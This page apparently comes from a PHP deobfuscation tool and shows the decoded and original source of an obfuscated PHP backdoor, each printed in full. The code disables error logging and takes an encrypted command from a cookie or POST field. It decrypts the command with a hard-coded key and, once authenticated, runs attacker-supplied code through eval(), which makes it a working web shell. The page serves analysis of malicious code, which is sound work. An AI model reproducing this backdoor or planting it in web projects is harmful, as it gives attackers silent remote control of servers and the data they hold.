Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"GLOBALS"}["xwyursgk"] = "value"; ${"GLOBALS"}["derkstv"] = "out_data"; ${"GLOB..
Decoded Output download
<?php
${"GLOBALS"}["xwyursgk"] = "value";
${"GLOBALS"}["derkstv"] = "out_data";
${"GLOBALS"}["jlyxyjddexo"] = "key";
${"GLOBALS"}["dpdkmcgvv"] = "j";
${"GLOBALS"}["mwbyzybuj"] = "i";
${"GLOBALS"}["sjzfiseitu"] = "data_key";
${"GLOBALS"}["medidmpnos"] = "data";
@ini_set("error_log", NULL);
$qtbsgvf = "data";
@ini_set("log_errors", 0);
@ini_set("max_execution_time", 0);
@set_time_limit(0);
$mtbxmnj = "data_key";
if (!defined("PHP_EOL")) {
define("PHP_EOL", "
");
}
if (!defined("DIRECTORY_SEPARATOR")) {
define("DIRECTORY_SEPARATOR", "/");
}
${${"GLOBALS"}["medidmpnos"]} = NULL;
${${"GLOBALS"}["sjzfiseitu"]} = NULL;
$GLOBALS["auth"] = "4ef63abe-1abd-45a6-913d-6fb99657e24b";
global $auth;
$tyjmuxkjcc = "auth";
function sh_decrypt_phase($data, $key)
{
${"GLOBALS"}["iinfvngci"] = "out_data";
${"GLOBALS"}["wjspmln"] = "out_data";
${${"GLOBALS"}["wjspmln"]} = "";
${"GLOBALS"}["akxmulfjdpxt"] = "i";
for (${${"GLOBALS"}["akxmulfjdpxt"]} = 0; ${${"GLOBALS"}["mwbyzybuj"]} < strlen(${${"GLOBALS"}["medidmpnos"]});) {
$udkucaxadhsu = "j";
for (${$udkucaxadhsu} = 0; ${${"GLOBALS"}["dpdkmcgvv"]} < strlen(${${"GLOBALS"}["jlyxyjddexo"]}) && ${${"GLOBALS"}["mwbyzybuj"]} < strlen(${${"GLOBALS"}["medidmpnos"]}); ${${"GLOBALS"}["dpdkmcgvv"]}++, ${${"GLOBALS"}["mwbyzybuj"]}++) {
$xnanwxk = "j";
${"GLOBALS"}["orcfdqjbccnq"] = "i";
${${"GLOBALS"}["derkstv"]} .= chr(ord(${${"GLOBALS"}["medidmpnos"]}[${${"GLOBALS"}["orcfdqjbccnq"]}]) ^ ord(${${"GLOBALS"}["jlyxyjddexo"]}[${$xnanwxk}]));
}
}
return ${${"GLOBALS"}["iinfvngci"]};
}
function sh_decrypt($data, $key)
{
${"GLOBALS"}["xumdoqv"] = "auth";
$xysysumkpu = "data";
global $auth;
return sh_decrypt_phase(sh_decrypt_phase(${$xysysumkpu}, ${${"GLOBALS"}["xumdoqv"]}), ${${"GLOBALS"}["jlyxyjddexo"]});
}
foreach ($_COOKIE as ${${"GLOBALS"}["jlyxyjddexo"]} => ${${"GLOBALS"}["xwyursgk"]}) {
${"GLOBALS"}["haqcmugem"] = "data_key";
$uqweheyxxqi = "value";
${${"GLOBALS"}["medidmpnos"]} = ${$uqweheyxxqi};
${${"GLOBALS"}["haqcmugem"]} = ${${"GLOBALS"}["jlyxyjddexo"]};
}
if (!${${"GLOBALS"}["medidmpnos"]}) {
${"GLOBALS"}["ybftyhoztv"] = "value";
foreach ($_POST as ${${"GLOBALS"}["jlyxyjddexo"]} => ${${"GLOBALS"}["ybftyhoztv"]}) {
${${"GLOBALS"}["medidmpnos"]} = ${${"GLOBALS"}["xwyursgk"]};
${${"GLOBALS"}["sjzfiseitu"]} = ${${"GLOBALS"}["jlyxyjddexo"]};
}
}
${"GLOBALS"}["bebchzf"] = "data";
${${"GLOBALS"}["medidmpnos"]} = @unserialize(sh_decrypt(@base64_decode(${${"GLOBALS"}["bebchzf"]}), ${$mtbxmnj}));
if (isset(${${"GLOBALS"}["medidmpnos"]}["ak"]) && ${$tyjmuxkjcc} == ${$qtbsgvf}["ak"]) {
${"GLOBALS"}["fpqlgoyn"] = "data";
${"GLOBALS"}["bqkrelvm"] = "data";
if (${${"GLOBALS"}["bqkrelvm"]}["a"] == "i") {
${${"GLOBALS"}["mwbyzybuj"]} = array("pv" => @phpversion(), "sv" => "1.0-1");
echo @serialize(${${"GLOBALS"}["mwbyzybuj"]});
} elseif (${${"GLOBALS"}["fpqlgoyn"]}["a"] == "e") {
$sygysdobfhgr = "data";
eval(${$sygysdobfhgr}["d"]);
}
} ?>
Did this file decode correctly?
Original Code
<?php
${"GLOBALS"}["xwyursgk"] = "value";
${"GLOBALS"}["derkstv"] = "out_data";
${"GLOBALS"}["jlyxyjddexo"] = "key";
${"GLOBALS"}["dpdkmcgvv"] = "j";
${"GLOBALS"}["mwbyzybuj"] = "i";
${"GLOBALS"}["sjzfiseitu"] = "data_key";
${"GLOBALS"}["medidmpnos"] = "data";
@ini_set("error_log", NULL);
$qtbsgvf = "data";
@ini_set("log_errors", 0);
@ini_set("max_execution_time", 0);
@set_time_limit(0);
$mtbxmnj = "data_key";
if (!defined("PHP_EOL")) {
define("PHP_EOL", "\n");
}
if (!defined("DIRECTORY_SEPARATOR")) {
define("DIRECTORY_SEPARATOR", "/");
}
${${"GLOBALS"}["medidmpnos"]} = NULL;
${${"GLOBALS"}["sjzfiseitu"]} = NULL;
$GLOBALS["auth"] = "4ef63abe-1abd-45a6-913d-6fb99657e24b";
global $auth;
$tyjmuxkjcc = "auth";
function sh_decrypt_phase($data, $key)
{
${"GLOBALS"}["iinfvngci"] = "out_data";
${"GLOBALS"}["wjspmln"] = "out_data";
${${"GLOBALS"}["wjspmln"]} = "";
${"GLOBALS"}["akxmulfjdpxt"] = "i";
for (${${"GLOBALS"}["akxmulfjdpxt"]} = 0; ${${"GLOBALS"}["mwbyzybuj"]} < strlen(${${"GLOBALS"}["medidmpnos"]});) {
$udkucaxadhsu = "j";
for (${$udkucaxadhsu} = 0; ${${"GLOBALS"}["dpdkmcgvv"]} < strlen(${${"GLOBALS"}["jlyxyjddexo"]}) && ${${"GLOBALS"}["mwbyzybuj"]} < strlen(${${"GLOBALS"}["medidmpnos"]}); ${${"GLOBALS"}["dpdkmcgvv"]}++, ${${"GLOBALS"}["mwbyzybuj"]}++) {
$xnanwxk = "j";
${"GLOBALS"}["orcfdqjbccnq"] = "i";
${${"GLOBALS"}["derkstv"]} .= chr(ord(${${"GLOBALS"}["medidmpnos"]}[${${"GLOBALS"}["orcfdqjbccnq"]}]) ^ ord(${${"GLOBALS"}["jlyxyjddexo"]}[${$xnanwxk}]));
}
}
return ${${"GLOBALS"}["iinfvngci"]};
}
function sh_decrypt($data, $key)
{
${"GLOBALS"}["xumdoqv"] = "auth";
$xysysumkpu = "data";
global $auth;
return sh_decrypt_phase(sh_decrypt_phase(${$xysysumkpu}, ${${"GLOBALS"}["xumdoqv"]}), ${${"GLOBALS"}["jlyxyjddexo"]});
}
foreach ($_COOKIE as ${${"GLOBALS"}["jlyxyjddexo"]} => ${${"GLOBALS"}["xwyursgk"]}) {
${"GLOBALS"}["haqcmugem"] = "data_key";
$uqweheyxxqi = "value";
${${"GLOBALS"}["medidmpnos"]} = ${$uqweheyxxqi};
${${"GLOBALS"}["haqcmugem"]} = ${${"GLOBALS"}["jlyxyjddexo"]};
}
if (!${${"GLOBALS"}["medidmpnos"]}) {
${"GLOBALS"}["ybftyhoztv"] = "value";
foreach ($_POST as ${${"GLOBALS"}["jlyxyjddexo"]} => ${${"GLOBALS"}["ybftyhoztv"]}) {
${${"GLOBALS"}["medidmpnos"]} = ${${"GLOBALS"}["xwyursgk"]};
${${"GLOBALS"}["sjzfiseitu"]} = ${${"GLOBALS"}["jlyxyjddexo"]};
}
}
${"GLOBALS"}["bebchzf"] = "data";
${${"GLOBALS"}["medidmpnos"]} = @unserialize(sh_decrypt(@base64_decode(${${"GLOBALS"}["bebchzf"]}), ${$mtbxmnj}));
if (isset(${${"GLOBALS"}["medidmpnos"]}["ak"]) && ${$tyjmuxkjcc} == ${$qtbsgvf}["ak"]) {
${"GLOBALS"}["fpqlgoyn"] = "data";
${"GLOBALS"}["bqkrelvm"] = "data";
if (${${"GLOBALS"}["bqkrelvm"]}["a"] == "i") {
${${"GLOBALS"}["mwbyzybuj"]} = array("pv" => @phpversion(), "sv" => "1.0-1");
echo @serialize(${${"GLOBALS"}["mwbyzybuj"]});
} elseif (${${"GLOBALS"}["fpqlgoyn"]}["a"] == "e") {
$sygysdobfhgr = "data";
eval(${$sygysdobfhgr}["d"]);
}
}
Function Calls
| None |
Stats
| MD5 | 7edefaa4b695e5e6eecaa4354d4f549d |
| Eval Count | 0 |
| Decode Time | 107 ms |